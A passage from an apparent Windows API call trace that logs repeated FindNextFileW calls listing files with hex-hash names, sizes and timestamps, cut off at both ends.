dwReserved0=0x0, dwReserved1=0x0, cFileName="6E70D64994FC50847D02A3C844407DE8C2A71039", cAlternateFileName="6E70D6~1")) returned 1 [0211.809] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe27, dwReserved0=0x0, dwReserved1=0x0, cFileName="6E737977754F860FE206E1BDA7E561C5EFCF040B", cAlternateFileName="6E7379~1")) returned 1 [0211.810] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43121106, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x43121106, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x43121106, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="6F4FA43590A63EB51F16A747B6869FEA664D492D", cAlternateFileName="6F4FA4~1")) returned 1 [0211.810] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90c92ac, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90c92ac, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa90c92ac, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x0, dwReserved1=0x0, cFileName="6F8476F0E7F6646593363B49CE1F1A061176132D", cAlternateFileName="6F8476~1")) returned 1 [0211.810] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa873fde8, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa873fde8, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa897bfc2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x0, dwReserved1=0x0, cFileName="6FED260138400FD12677C90F90A961644A731AAC", cAlternateFileName="6FED26~1")) returned 1 [0211.810] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaa6bfb9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcaa6bfb9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcaa6e6c6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x7afd, dwReserved0=0x0, dwReserved1=0x0, cFileName="705E490FDB59514DC9A1DEE2B8DE64728A905979", cAlternateFileName="705E49~1")) returned 1 [0211.810] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="71C7F05A4972DA343C7410BEC996469B4D9B1EC1", cAlternateFileName="71C7F0~1")) returned 1 [0211.811] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3f8e6cc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3f8e6cc, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcae5797a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc302, dwReserved0=0x0, dwReserved1=0x0, cFileName="730732921FB223938F8FC50951AF7C51CCEA61B0", cAlternateFileName="730732~1")) returned 1 [0211.812] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d1cf73, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc8d1cf73, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc99a1505, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x11c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="7312A4BC2416B43197DAB1517D4F71DDE4DDB5C1", cAlternateFileName="7312A4~1")) returned 1 [0211.812] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc69a5eeb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc69a5eeb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc997b2b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1244, dwReserved0=0x0, dwReserved1=0x0, cFileName="732701B5818487B0389EC13AB5055BA0FC5A408C", cAlternateFileName="732701~1")) returned 1 [0211.812] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fda27ea, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3fda27ea, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3fda27ea, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="74766AB690050F59B01486BFB5895DC7027B12F6", cAlternateFileName="74766A~1")) returned 1 [0211.812] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449912f8, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x449912f8, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x449912f8, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x25e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="74B519AD7904E4A0C4371C7E92DD4CC58D21E347", cAlternateFileName="74B519~1")) returned 1 [0211.812] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc23b0e52, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc23b0e52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc23b0e52, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="75B79AD560C26FAA78C6E062C0EF70C560CA89D9", cAlternateFileName="75B79A~1")) returned 1 [0211.812] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4362fd1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4362fd1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4371a45, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x62f6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="7683D7BA692E9B369DA98E12C0493E467E201053", cAlternateFileName="7683D7~1")) returned 1 [0211.812] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef35224, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xef35224, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x450a5db2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x24e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="76EF1292F45B28008B0E37EDAF898359BDA69EF7", cAlternateFileName="76EF12~1")) returned 1 [0211.812] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43608c8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x43608c8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4371a45, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x28b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="77BEB77D9CC969C39958CC4A5EBACAF025E09EA4", cAlternateFileName="77BEB7~1")) returned 1 [0211.812] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433a98da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x433a98da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x433cfb20, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="7807899BF5E94564AFE48A5B5DF11C0FDB47F065", cAlternateFileName="780789~1")) returned 1 [0211.812] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xefa, dwReserved0=0x0, dwReserved1=0x0, cFileName="784BF733DA8C7E276D81D56E27763E588BD3C528", cAlternateFileName="784BF7~1")) returned 1 [0211.812] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6e450e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3db5cbc4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3db5cbc4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb44, dwReserved0=0x0, dwReserved1=0x0, cFileName="7854D382F9129B1F63C548FFA98E16681B442ADB", cAlternateFileName="7854D3~1")) returned 1 [0211.812] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3879792, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x3879792, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3894550, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x577, dwReserved0=0x0, dwReserved1=0x0, cFileName="789617E6CBDC728F205B5B4C33CD556E4CA32006", cAlternateFileName="789617~1")) returned 1 [0211.812] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c12c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xef6c12c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x45119d97, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x47dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="78A520FE200DD59F7079043C2E4494D582DB5E27", cAlternateFileName="78A520~1")) returned 1 [0211.812] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd56503b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd56503b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd56503b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xdfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="79122AC35356132F14E7AA3248B675B5BA972274", cAlternateFileName="79122A~1")) returned 1 [0211.812] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433f5d79, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x433f5d79, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x433f5d79, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe38e, dwReserved0=0x0, dwReserved1=0x0, cFileName="7915475BD9F46BA77133ED0CD8E6ACC3FCF4B8C1", cAlternateFileName="791547~1")) returned 1 [0211.813] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x116c, dwReserved0=0x0, dwReserved1=0x0, cFileName="7A230FA7CE251495192749C1289385F278D22EB4", cAlternateFileName="7A230F~1")) returned 1 [0211.813] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee9549, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7ee9549, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb777d4f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="7A8D3A9360CC37F0AD80962D4AEA72B6D0F0B2B3", cAlternateFileName="7A8D3A~1")) returned 1 [0211.813] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90c92ac, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90c92ac, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa90c92ac, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x0, dwReserved1=0x0, cFileName="7AF60B1A5DF0ABAAD06C0BCF25C7C7DA78E19615", cAlternateFileName="7AF60B~1")) returned 1 [0211.813] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d6461, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x46d6461, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x46f8752, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x13fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B303216787123E2E98A2B9594CDF8211C77C0EA", cAlternateFileName="7B3032~1")) returned 1 [0211.813] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc30cdda3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc30cdda3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xca8fdb39, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x8a6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B4C45A10380E4D649C45CA3E4773E29C3AC7799", cAlternateFileName="7B4C45~1")) returned 1 [0211.813] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b245e3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2b245e3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc2b245e3, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B702F73A8CFF65932F151A24DE06DABB5EAD075", cAlternateFileName="7B702F~1")) returned 1 [0211.813] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8ac315, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8ac315, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8ac315, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="7BB41A949410BE7EF2685C65391E15BCAFDDF3AA", cAlternateFileName="7BB41A~1")) returned 1 [0212.550] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45e1b91, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x45e1b91, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x46d50c5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="7CF29C4B4F231BB4FBAA944FA47CA2874D0BAFE6", cAlternateFileName="7CF29C~1")) returned 1 [0212.551] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a6c72e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42a6c72e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42a6c72e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="7E9C60545DC531C765E8BEBC858D9C964D7BC7B6", cAlternateFileName="7E9C60~1")) returned 1 [0212.551] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433cfb20, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x433cfb20, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x433cfb20, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x453, dwReserved0=0x0, dwReserved1=0x0, cFileName="7ED75B3614C7D3EEE86D39A5F382CBE557DA312E", cAlternateFileName="7ED75B~1")) returned 1 [0212.551] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc40734e2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc40734e2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc6959a3a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x10fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="81B8DA2D01662466BB100C917F0F5E05E189A2D9", cAlternateFileName="81B8DA~1")) returned 1 [0212.551] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8ac315, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8ac315, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8ac315, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="8216A5649BBA4864CF37B7367FEC186350C72B87", cAlternateFileName="8216A5~1")) returned 1 [0212.551] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3c21097, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3c21097, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc3c47318, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x483c, dwReserved0=0x0, dwReserved1=0x0, cFileName="829547D629FA0B34042E40EBE97FC63C4697EA33", cAlternateFileName="829547~1")) returned 1 [0212.551] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xf2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="830EF7DA0A505480D0919A7D9DC8F36D554F9CF7", cAlternateFileName="830EF7~1")) returned 1 [0212.551] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2a19434, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2a19434, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc2a19434, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="838A2699F7D6AC832EA18FEB8ED74064E9A1AF7A", cAlternateFileName="838A26~1")) returned 1 [0212.551] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440540f4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x440540f4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4407a35c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x141e, dwReserved0=0x0, dwReserved1=0x0, cFileName="83D22A1C2D9AD3F12D54C38C877F76181ECE73B1", cAlternateFileName="83D22A~1")) returned 1 [0212.551] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f3a6b98, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3f3a6b98, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3f3a6b98, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="843D3BC96D3C0941B261A76B4201DD6AEE2FC6AF", cAlternateFileName="843D3B~1")) returned 1 [0212.551] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc44c5ae0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc44c5ae0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc44c5ae0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="84A8D3B867016ADCD99F88B46CBFAC7D26697682", cAlternateFileName="84A8D3~1")) returned 1 [0212.551] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc327177a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc327177a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc327177a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x34fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="8508C62554C6D8F07695E3BAE400B7D0F72355E7", cAlternateFileName="8508C6~1")) returned 1 [0212.551] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="8527BE88ABE092F222F01F1FAA6BB09AA3C86E1C", cAlternateFileName="8527BE~1")) returned 1 [0212.551] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430aea29, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x430aea29, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x430aea29, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb9e, 